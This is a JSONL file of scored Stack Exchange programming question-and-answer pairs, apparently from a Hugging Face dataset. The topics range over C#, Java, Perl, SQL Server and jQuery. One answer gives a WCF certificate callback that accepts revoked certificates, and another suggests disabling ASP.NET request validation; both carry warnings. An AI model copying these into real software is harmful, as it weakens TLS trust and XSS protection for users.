{"id": "hf_131925a59590", "question": "<p>Markdown is a great tool for formatting plain text into pretty html, but it doesn't turn plain-text links into URLs automatically. Like this one:</p>\n\n<p><a href=\"http://www.google.com/\" rel=\"noreferrer\">http://www.google.com/</a></p>\n\n<p>How do I get markdown to add  tags to URLs when I format a block of text?</p>\n", "question_body": "", "answer": "This isn't a feature of Markdown -- what you should do is run a post-processor against the text looking for a URL-like pattern. There's a good example in the\nGoogle app engine example code\n-- see the\n```\nAutoLink\n```\ntransform.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:53.242614"}
{"id": "hf_603a712a53fb", "question": "<p>I am getting this warning: \"Missing XML comment for publicly visible type or member\".</p>\n\n<p>How to solve this?</p>\n", "question_body": "", "answer": "Insert an XML comment. ;-)\n```\n```\n/// <summary>\n/// Describe your member here.\n/// </summary>\npublic string Something\n{\n    get;\n    set;\n}\n```\n```\nThis may appear like a joke at the first glance, but it\nmay actually\nbe useful. For me it turned out to be helpful to think about what methods do even for private methods (unless really trivial, of course).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:53.267131"}
{"id": "hf_000e91d6325c", "question": "<p>I'm fairly new to Visual Studio and am wondering how best to plan for translation in a new project I'm starting. I need to provide English, German and French.</p>\n\n<p>I have used Eclipse a lot in the past and there I just developed a new app and when it was complete I could just start a wizard to externalise strings into a resource file. The strings would be given to someone for translation.</p>\n\n<p>What is your experience with VS? (I'm currently using VS2005 Express) What is your best advice for planning for translation?</p>\n", "question_body": "", "answer": "Head to\nMicrosoft's I18n\npage\nThere is a nice article on\nmsdn\nabout the more general aspects of i18n in the Microsoft world.\nVisual Studio specifically:\nMSDN VS\nlanding page\nfor internationalization (\nyour best bet\n)\nAnd\nthis\nmsdn article deals with it on a more technical level.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:53.289200"}
{"id": "hf_87502c4574b5", "question": "<p>How do I generate an audio sine or square wave of a given frequency?</p>\n\n<p>I am hoping to do this to calibrate equipment, so how precise would these waves be?</p>\n", "question_body": "", "answer": "You can use\nNAudio\nand create a derived WaveStream that outputs sine or square waves which you could output to the soundcard or write to a\nWAV\nfile. If you used 32-bit floating point samples you could write the values directly out of the sin function without having to scale as it already goes between -1 and 1.\nAs for accuracy, do you mean exactly the right frequency, or exactly the right wave shape? There is no such thing as a true square wave, and even the sine wave will likely have a few very quiet artifacts at other frequencies. If it's accuracy of frequency that matters, you are reliant on the stability and accuracy of the clock in your sound card. Having said that, I would imagine that the accuracy would be good enough for most uses.\nHere's some example code that makes a 1 kHz sample at a 8 kHz sample rate and with 16 bit samples (that is, not floating point):\n```\n```\nint sampleRate = 8000;\nshort[] buffer = new short[8000];\ndouble amplitude = 0.25 * short.MaxValue;\ndouble frequency = 1000;\nfor (int n = 0; n < buffer.Length; n++)\n{\n    buffer[n] = (short)(amplitude * Math.Sin((2 * Math.PI * n * frequency) / sampleRate));\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:53.315423"}
{"id": "hf_d90dce150dfa", "question": "<p>Kinda long title, but anyways...</p>\n\n<p>I've been looking at these examples, specifically on the parts on writing and reading the size of the message to the byte streams<br>\n<a href=\"http://doc.trolltech.com/4.4/network-fortuneclient-client-cpp.html\" rel=\"nofollow noreferrer\">http://doc.trolltech.com/4.4/network-fortuneclient-client-cpp.html</a><br>\n<a href=\"http://doc.trolltech.com/4.4/network-fortuneserver-server-cpp.html\" rel=\"nofollow noreferrer\">http://doc.trolltech.com/4.4/network-fortuneserver-server-cpp.html</a></p>\n\n<p>But I can't seem to figure it out in C#.</p>\n\n<pre><code>StreamWriter writer = new StreamWriter(tcpClient.GetStream());\nwriter.Write(data.Length + data);\n</code></pre>\n\n<p>This doesn't work very well at all. Could someone give me a nudge in the right direction?</p>\n", "question_body": "", "answer": "Instead of\n```\ndata.Length\n```\n, try:\n```\n```\nwriter.Write(chr(data.Length) + data);\n```\n```\nThis will prefix every data block with one byte indicating its length (up to 255 bytes long). As you requested, this is only a nudge. :)\nUpdate: I just remembered that C# is all Unicode and stuff, so chr() probably gives you more than one byte. Adjust to fit.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:53.384207"}
{"id": "hf_a075f62e23e8", "question": "<p>How do you get an instance of the actionscript class <code>Class</code> from an instance of that class?</p>\n\n<p>In Python, this would be <code>x.__class__</code>; in Java, <code>x.getClass();</code>.</p>\n\n<p>I'm aware that <a href=\"http://actionscript.org/forums/showthread.php3?t=120135#td_post_545693\" rel=\"noreferrer\">certain terrible hacks</a> exist to do this, but I'm looking for a built-in language facility, or at least a library routine built on something reliable.</p>\n", "question_body": "", "answer": "Any reason you couldn't do this?\n```\n```\nvar s:Sprite = new flash.display.Sprite();\n\nvar className:String = flash.utils.getQualifiedClassName( s );\nvar myClass:Class = flash.utils.getDefinitionByName( className ) as Class;\n\ntrace(className ); // flash.display::Sprite\ntrace(myClass); // [class Sprite]\n\nvar s2 = new myClass();\ntrace(s2); // [object Sprite]\n```\n```\nI don't know a way to avoid round-tripping through a String, but it should work well enough.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:53.436452"}
{"id": "hf_de4500f5e8bc", "question": "<p>I have an <code>ArrayList&lt;String&gt;</code>, and I want to remove repeated strings from it. How can I do this?</p>\n", "question_body": "", "answer": "If you don't want duplicates in a\n```\nCollection\n```\n, you should consider why you're using a\n```\nCollection\n```\nthat allows duplicates. The easiest way to remove repeated elements is to add the contents to a\n```\nSet\n```\n(which will not allow duplicates) and then add the\n```\nSet\n```\nback to the\n```\nArrayList\n```\n:\n```\n```\nSet<String> set = new HashSet<>(yourList);\nyourList.clear();\nyourList.addAll(set);\n```\n```\nOf course, this destroys the ordering of the elements in the\n```\nArrayList\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:53.470857"}
{"id": "hf_ce53cc196fc6", "question": "<p>I'm writing a C++ client which is using libcurl for communicating with a PHP script.</p>\n\n<p>The communication should be session based, and thus the first task is to login and make the PHP script set up a session.</p>\n\n<p>I'm not used to working with sessions either from C++ or PHP. I basically know that it has to do with cookies and communicating session id.</p>\n\n<p>I can't find any example on the curl homepage which demonstrates a simple session management use case.</p>\n\n<p>I'm assuming it has something to do with one or many of the following options in curl:</p>\n\n<pre><code>CURLOPT_COOKIE\nCURLOPT_COOKIEFILE\nCURLOPT_COOKIEJAR\nCURLOPT_COOKIESESSION\nCURLOPT_COOKIELIST\n</code></pre>\n\n<p>But I can't really see the big picture just from the documentation of CURLOPT_COOKIESESSION for instance.</p>\n\n<p>Anybody who has done this, please share a simple piece of code which shows the concept.</p>\n\n<p>Regards</p>\n\n<p>Robert</p>\n", "question_body": "", "answer": "A session in PHP has the purpose of preserving some state over several requests, since HTTP in itself is stateless. To get a session from PHP, simply request a php page that starts a session, and keep the cookie you get back for subsequent requests.\nStarting a session in php is simple - call the session_start() function. That function will resume an existsing session if the cookie exists in the request. When the session is started, persistent variables can be set using the superglobal array $_SESSION. It's a good idea to store a 'is logged in'-token there =) To end the PHP session, set $_SESSION to array(), so that the token is destroyed.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:53.495031"}
{"id": "hf_9a748e7055bc", "question": "<p>how can i figure out the last modified date of a html file im importing into my web app?</p>\n\n<p>The html file is on another server and different users can make updates, when i retrieve the page i want to be able see when it was last updated so i can label the updated date on my homepage. I</p>\n", "question_body": "", "answer": "Use the\n```\ndocument.lastModified\n```\nJavascript property.\nquirksmode has a nice function to format the date too:\nhttp://www.quirksmode.org/js/lastmod.html", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:53.537605"}
{"id": "hf_70adff839657", "question": "<p>In my asp.net mvc app I want to check if a certain url returns a valid response.\nTherefor I send the url to a method that tests the HttpWebRequest.GetResponse()</p>\n\n<p>On my dev server (vs2008) it works just fine.\nWhen deployed on production server however, it returns a Bad Request.\nThe method is never hit and my asp.net custom error pages are not used.</p>\n\n<p>any ideas?</p>\n", "question_body": "", "answer": "Perhaps you are running into the\nValidateRequest\nfeature of ASP.NET? You can disable this for the page in question by modifying the first line in the aspx file to have the ValidateRequest=\"false\" parameter.\nExample:\n```\n```\n<%@ Page Language=\"C#\" CodeFile=\"Default.aspx.cs\" Inherits=\"_Default\" ValidateRequest=\"false\" %>\n```\n```\nYou probably don't want to leave it in that state though, as the request validation helps prevent XSS attacks. Using HttpUtility.UrlEncode may also be worth trying, if you aren't already.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:53.613047"}
{"id": "hf_27e03063b10e", "question": "<p>Since some time, my Delphi debugger became much slower than I was used to before.</p>\n\n<p>I noticed this in both Delphi 2007 and 2009, so it seems it's something outside of Delphi itself...</p>\n\n<p>What causes this behaviour, and how can I prevent this?</p>\n", "question_body": "", "answer": "After weeks of searching for an answer, I found this Microsoft knowledge base article fixes my problem :\nhttp://support.microsoft.com/kb/321410/nl\nThe point is, I installed Microsoft Script Editor a while back to do some server-side javascript debugging. This also installs a service called \"Machine Debug Manager\" (Mdm.exe), which is the cause for the slowdown. After disabling this service, debugger speed returned to normal!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:53.636358"}
{"id": "hf_4f344028306d", "question": "<p>I know a role name and want to find all users in this role. \nHow do I acheive this in SQL Server 2000 (in the SQL script, not in Management Studio or other tool)?</p>\n", "question_body": "", "answer": "You can use the following stored procedures:\nFor fixed server roles, the stored procedure is\nsp_helpsrvrolemember\n:\n```\n```\nexec sp_helpsrvrolemember 'role'\n```\n```\nFor general roles, the stored procedure is\nsp_helprolemember\n:\n```\n```\nexec sp_helprolemember 'role'\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:53.658200"}
{"id": "hf_4adbf77d4548", "question": "<p>I would like to create (in code) tree of controls that would render as a table with several TBODY tags, i.e.:</p>\n\n<p>\n    \n        \n            \n        \n        \n            \n        \n    </p>\n\n<pre><code>&lt;TBODY&gt;\n    &lt;TR&gt;\n        &lt;TD&gt;&lt;/TD&gt;\n    &lt;/TR&gt;\n    &lt;TR&gt;\n        &lt;TD&gt;&lt;/TD&gt;\n    &lt;/TR&gt;\n&lt;/TBODY&gt;\n</code></pre>\n\n<p></p>\n\n<p>I tried both Table and HtmlTable controls but had no success. Any clues?</p>\n", "question_body": "", "answer": "How are you generating your data? You could use a templated control like a Repeater or ListView as that gives you full control of the HTML you're generating.\nIf you're wanting to create the controls purely in C# you can use the HtmlGenericControl (\nhttp://msdn.microsoft.com/en-us/library/system.web.ui.htmlcontrols.htmlgenericcontrol.aspx\n), you'll need to provide a tag type in the constructor.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:53.716720"}
{"id": "hf_dd0b7fabf05b", "question": "<p>So there seems to be this problem with GNU Make's $(wildcard) function keeping a directory open on Windows. See (unasnwered) post \"<a href=\"http://www.cygwin.com/ml/cygwin/2003-06/msg01182.html\" rel=\"nofollow noreferrer\">make is holding a directory open</a>\". Google does not provide much information on the topic.</p>\n\n<p>In short: the Makefile uses the $(wildcard) function at some point, and keeps a directory open, which typically prevents the \"make clean\" rule to do its work correctly. Re-running \"make clean\" a second time usually solves it.</p>\n\n<p>I'm using GNU Make version 3.81 under a standard DOS-Box. The author of the post linked to above is using Cygwin.</p>\n\n<p>Has anyone found a fix for this?</p>\n", "question_body": "", "answer": "Sounds like a file descriptor leak, all right -- harmless for very-short-lived processes (like make) on UNIX, but a right PITA on Windows.\nAs this is allegedly a bug in make, as opposed to a problem with its usage, it should be addressed first by validating that it still exists when built from source on the newest upstream version, and then by\nfiling a bug report\nwith the GNU make project (or with any distributor with whom you have an appropriate support contract), or diving into the source and attempting to fix it yourself.\nIt wouldn't hurt to try to reproduce on Linux -- checking for file descriptor leaks are much easier here, as one can just look at\n```\n/proc/self/fd\n```\n(or, for a child of make,\n```\n/proc/$PPID/fd\n```\n) for things that don't belong.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:53.752310"}
{"id": "hf_a32bfa0bb9ba", "question": "<p>I am cloning a hidden table row then populating it and after validation I want to show the row using a jquery effect ... say .show(\"slow\")</p>\n\n<pre><code>var baseRow = $(\"#tasks tr#baseTaskLine\");\nvar newRow = baseRow.clone();\nvar lastRow = $(\"#tasks tr[id^='TaskLine_']\" + dayClass + \":last\");\n\nvar newRowId;\nif (lastRow.length == 0) {\n   newRowId = \"TaskLine_new0\";\n}\nelse {\n   newRowId = \"TaskLine_new\" + lastRow[0].rowIndex;\n}\n\nnewRow.attr(\"id\", newRowId);\n\n:\n[populate new row]\n:\n\nif (lastRow.length == 0) {\n   baseRow.after(newRow);\n}\nelse {\n   lastRow.after(newRow);\n}\nnewRow.hide();\n:\n\n:\n[validate via webservice call]\n:\nnewRow.show(\"slow\");\n</code></pre>\n\n<p>This does show the row but it appears instantly. I have tried hiding all the <code>&lt;td&gt;</code> elements of the row then showing those and that does seem to work but some strange styles get added to each <code>&lt;td&gt;</code> which interfere with the formatting i.e. <code>style=\"display: block;\"</code></p>\n", "question_body": "", "answer": "This is not going to work this way. Table rows and cells are not meant to be displayed as blocks so the show/fade effects are not going to work on table rows directly.\nYou could, however, put a <div> in each of the cells, something like this:\n```\n```\n<table>\n<tr id=\"row1\"><td><div>Cell1:1</div></td><td><div>Cell2:1</div></td></tr>\n<tr id=\"row2\"><td><div>Cell1:2</div></td><td><div>Cell2:2</div></td></tr>\n</table>\n```\n```\nand then to the following:\n```\n```\n$('#row2 td div').show('slow');\n```\n```\nThis will yield the expected behaviour.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:53.776375"}
{"id": "hf_f1fb9b691c7e", "question": "<p>How can I move items from one list box control to another listbox control using JavaScript in ASP.NET?</p>\n", "question_body": "", "answer": "If you're happy to use jQuery, it's very, very simple.\n```\n```\n$('#firstSelect option:selected').appendTo('#secondSelect');\n```\n```\nWhere #firstSelect is the ID of the select box.\nI've included a working example here:\nhttp://jsbin.com/aluzu\n(to edit:\nhttp://jsbin.com/aluzu/edit\n)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:53.822757"}
{"id": "hf_a2d62d9f86bf", "question": "<p>So I need to update a text field.  Neither the UPDATE statement or the WRITETEXT statement work when used below</p>\n\n<pre><code>CREATE TABLE MyTable (IDField int, MyField text)\nINSERT INTO MyTable (IDField) SELECT 1\n\nDECLARE @Data1 varchar(8000), @Data2 varchar(8000), @ptrval binary(16)\n\nSELECT @Data1 = REPLICATE('1',8000)\nSELECT @Data2 = REPLICATE('2',8000)\n\n-- this sets MyField to string of only 8000 characters\nUPDATE MyTable SET MyField = @Data1 + @Data2 WHERE IDField = 1 \n\n\nSELECT @ptrval = TEXTPTR(MyField ) \nFROM MyTable \nWHERE IDField = 1 \n\n-- this causes an error: Incorrect syntax near '+'.\n--WRITETEXT MyTable.MyField @ptrval @Data1 + @Data2\n</code></pre>\n\n<p>How am I supposed to do this when local variables cannot be of type TEXT?  (If I had SSQL Server 2005 I would use varchar(max) - but I don't)</p>\n", "question_body": "", "answer": "Try using UPDATETEXT instead\n```\n```\nWRITETEXT MyTable.MyField @ptrval @Data1 \nUPDATETEXT MyTable.MyField @ptrval 8000 NULL @Data2\n```\n```\nThe insert offset is zero based so 8000 should write into the 8001st character.\nThe delete offset is null as a value of NULL deletes all data from the insert_offset position to the end of the existing text.\nRef:\nhttp://msdn.microsoft.com/en-us/library/ms189466.aspx\nDo not forget nvarchar (which you should use with ntext field) have a maximum capacity of half the varchar fields that you are using so your block sizes need to be reduced to 4000 in that case.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:53.879687"}
{"id": "hf_0e23b854c128", "question": "<p>How can I turn off certificate revocation for a WCF service's client?\nThe client proxy was generated by wsdl.exe and inherits SoapHttpClientProtocol.</p>\n", "question_body": "", "answer": "I think you're looking for\n```\nServicePointManager.ServerCertificateValidationCallback\n```\n:\nhttp://msdn.microsoft.com/en-gb/library/system.net.servicepointmanager.servercertificatevalidationcallback.aspx\nWhich takes a\n```\nRemoteCertificateValidationCallback\n```\nDelegate:\nhttp://msdn.microsoft.com/en-gb/library/system.net.security.remotecertificatevalidationcallback.aspx\nI've never dealt with a revoked certificate before (I have hand to handle other issues such as expired SSL's), but I'm guessing you'd just do something like:\n```\n```\nclass Program\n{\n    static void Main(string[] args)\n    {\n        ServicePointManager.ServerCertificateValidationCallback +=\n            new RemoteCertificateValidationCallback(ValidateCertificate);\n\n        // Do WCF calls...\n    }\n\n    public static bool ValidateCertificate(object sender, X509Certificate cert, \n                              X509Chain chain, SslPolicyErrors sslPolicyErrors)\n    {\n        if(sslPolicyErrors == SslPolicyErrors.RemoteCertificateChainErrors)\n        {\n            foreach(X509ChainStatus chainStatus in chain.ChainStatus)\n            {\n                if(chainStatus.Status == X509ChainStatusFlags.Revoked)\n                {\n                    return true;\n                }\n            }\n        }\n        \n        /* \n         WARNING!\n     \n         You should perform other cert validation checks here and not blindly \n         override your cert validation by returning true.\n\n         Otherwise the secure channel between your client and service\n         may not be secure.\n\n        */\n\n        return false;\n    }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:53.907070"}
{"id": "hf_c4833e8f32a8", "question": "<p>What does it mean:\n\"First-chance exception at  in : 0x000006BA: The RPC server is unavailable\"\n?</p>\n\n<p>this debug message appears in Debug output of visual studio debugger when I using socket connection, but I don't know what operation initiates this message...</p>\n", "question_body": "", "answer": "\"First-chance exception\" occurs when the exception is thrown, before anyone catches it. Usually, these are benign, and can be ignored (because someone is going to catch it).\nYou can get the debugger to break when the exception is thrown, whether or not someone later catches it.\nIn Visual Studio, this is done by choosing Debug / Exceptions and putting a check in the \"Thrown\" column for the exceptions you're interested in. Then, when the exception is thrown, the debugger will break at the relevant place.\nNote that you might end up in the middle of nowhere (i.e. in disassembly), so make sure that you've got your debugging symbols configured correctly.\nAlso note that some exceptions aren't in the list by default, so you'll have to click the \"Add...\" button in that dialog.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:53.938113"}
{"id": "hf_03401fc66d6b", "question": "<p>I've got two applications I'm developing using Qt on windows. I want the user to be able to press a button in one application which makes the other application come to the foreground. (The programs communicate using QLocalSocket and named pipes.)</p>\n\n<p>Currently I'm using Qt's QWidget::activateWindow() which occasionally brings the application to the foreground, but most of the time it just highlights the program on the taskbar.</p>\n\n<p>Can someone please tell me how to do this, preferably using Qt although failing that using the WIN32 API would be fine.</p>\n\n<hr>\n\n<p>Unfortunately, I couldn't find a way to do this only with Qt. I solved it using Chris Becke's suggestion of calling SetForegroundWindow from the currently active application.</p>\n", "question_body": "", "answer": "On top of the\n```\nQWidget::activateWindow\n```\nmethod, you should call\n```\nQWidget::raise\n```\n!\nThis is what is said\nhere\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:53.962234"}
{"id": "hf_0b8d92fd4ce6", "question": "<p>In writing some test code I have found that Selector.select() can return without Selector.selectedKeys() containing any keys to process. This is happening in a tight loop when I register an accept()ed channel with</p>\n\n<pre>SelectionKey.OP_READ | SelectionKey.OP_CONNECT</pre>\n\n<p>as the operations of interest.</p>\n\n<p>According to the docs, select() should return when:</p>\n\n<p>1) There are channels that can be acted upon.</p>\n\n<p>2) You explicitly call Selector.wakeup() - no keys are selected.</p>\n\n<p>3) You explicitly Thread.interrupt() the thread doing the select() - no keys are selected.</p>\n\n<p>If I get no keys after the select() I must be in cases (2) and (3). However, my code is not calling wakeup() or interrupt() to initiate these returns.</p>\n\n<p>Any ideas as to what is causing this behaviour?</p>\n", "question_body": "", "answer": "Short answer: remove\n```\nOP_CONNECT\n```\nfrom the list of operations you are interested in for the accepted connection -- an accepted connection is already connected.\nI managed to reproduce the issue, which might be exactly what's happening to you:\n```\n```\nimport java.net.*;\nimport java.nio.channels.*;\n\npublic class MyNioServer {\n  public static void main(String[] params) throws Exception {\n    final ServerSocketChannel serverChannel = ServerSocketChannel.open();\n    serverChannel.configureBlocking(true);\n    serverChannel.socket().bind(new InetSocketAddress(\"localhost\", 12345));\n    System.out.println(\"Listening for incoming connections\");\n    final SocketChannel clientChannel = serverChannel.accept();\n    System.out.println(\"Accepted connection: \" + clientChannel);\n\n    final Selector selector = Selector.open();\n    clientChannel.configureBlocking(false);\n    final SelectionKey clientKey = clientChannel.register(selector, SelectionKey.OP_READ | SelectionKey.OP_CONNECT);\n    System.out.println(\"Selecting...\");\n    System.out.println(selector.select());\n    System.out.println(selector.selectedKeys().size());\n    System.out.println(clientKey.readyOps());\n  }\n}\n```\n```\nAfter the above server receives a connection, the very first\n```\nselect()\n```\non the connection exits without blocking and there are no keys with ready operations. I don't know why Java behaves in this way, but it appears many people get bitten by this behavior.\nThe outcome is the same on Sun's JVM 1.5.0_06 on Windows XP as well as Sun's JVM 1.5.0_05 and 1.4.2_04 on Linux 2.6.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:54.002066"}
{"id": "hf_9223bcd47bf2", "question": "<p>I have a JSP accessed through JBoss. It renders a list (a search result).\nIf the response gets big, approximately larger than 200k the response is truncated. I can see how the page just ends in the middle of a tag in Firefox. IE totally freaks out an so does Fiddler.\nResponses smaller than 200k are no problem.</p>\n\n<p>Anyone has experienced this?\nI don't know where to look for the problem... any suggestions are welcome.</p>\n", "question_body": "", "answer": "Maybe it has something to do with flushing the buffer? thath number (200k) ringed the bell of a problem I had with it. Place a page directive like this:\n```\n```\n<%@page buffer=\"500kb\" autoFlush=\"true\" %>\n```\n```\nand play with the buffer size and autoflush values.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:54.026941"}
{"id": "hf_eb627ccb67fb", "question": "<p>Why does a Boolean consume 4 bytes and a char 2 bytes in the .NET framework? A Boolean should take up 1bit or at least be smaller than a char.</p>\n", "question_body": "", "answer": "It is a question of memory alignment.  4-byte variables work faster than 2-byte ones.  This is the reason why you should use int instead of byte or short for counters and the like.\nYou should use 2-byte variables only when memory is a bigger concern than speed.  And this is the reason why char (which is Unicode in .NET) takes two bytes instead of four.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:54.128968"}
{"id": "hf_1be36791e431", "question": "<p>I have an asp.net server control (with the asp: in its definition). The button has been set to do post back.</p>\n\n<p>On the server side, I have the on click event handler\ne.g btnSave_click()</p>\n\n<p>On the client side, I have a javascript function to be invoked on the click event\ne.g btnSave.Attributes.Add(\"onclick\",\"javascript: return CheckIsDirty();\")</p>\n\n<p>Am not sure which order these two will be executed. Because I want first on the client side to warn of any data entry fields that are not yet filled-out before actually saving any data.</p>\n\n<p>Any help?</p>\n", "question_body": "", "answer": "First client side, second server-side.\nSo you can use it.\nI also use it in some cases, like:\n```\n```\nclose.Attributes[\"OnClick\"] = \"return confirm('Are you sure?')\";\n```\n```\nIn this case if the user presses 'No' then the server-side event handler does not even play a role.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:54.199211"}
{"id": "hf_32cfbcb8baaa", "question": "<p>According to this</p>\n\n<p><a href=\"http://perldoc.perl.org/UNIVERSAL.html\" rel=\"noreferrer\">http://perldoc.perl.org/UNIVERSAL.html</a></p>\n\n<p>I shouldn't use UNIVERSAL::isa() and should instead use $obj->isa() or CLASS->isa().</p>\n\n<p>This means that to find out if something is a reference in the first place and then is reference to this class I have to do</p>\n\n<pre><code>eval { $poss-&gt;isa(\"Class\") }\n</code></pre>\n\n<p>and check $@ and all that gumph, or else</p>\n\n<pre><code>use Scalar::Util 'blessed';\nblessed $ref &amp;&amp; $ref-&gt;isa($class);\n</code></pre>\n\n<p>My question is why? What's wrong with UNIVERSAL::isa called like that? It's much cleaner for things like:</p>\n\n<pre><code>my $self = shift if UNIVERSAL::isa($_[0], __PACKAGE__)\n</code></pre>\n\n<p>To see whether this function is being called on the object or not. And is there a nice clean alternative that doesn't get cumbersome with ampersands and potentially long lines?</p>\n", "question_body": "", "answer": "To directly answer your question, the answer is at the bottom of the page you linked to, namely that if a package defines an\n```\nisa\n```\nmethod, then calling\n```\nUNIVERSAL::isa\n```\ndirectly will not call the package\n```\nisa\n```\nmethod. This is very unintuitive behaviour from an object-orientation point of view.\nThe rest of this post is just more questions about why you're doing this in the first place.\nIn code like the above, in what cases would that specific\n```\nisa\n```\ntest fail? i.e., if it's a method, in which case would the first argument not be the package class or an instance thereof?\nI ask this because I wonder if there is a legitimate reason why you would want to test whether the first argument is an object in the first place. i.e., are you just trying to catch people saying\n```\nFooBar::method\n```\ninstead of\n```\nFooBar->method\n```\nor\n```\n$foobar->method\n```\n? I guess Perl isn't designed for that sort of coddling, and if people mistakenly use\n```\nFooBar::method\n```\nthey'll find out soon enough.\nYour mileage may vary.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:54.245593"}
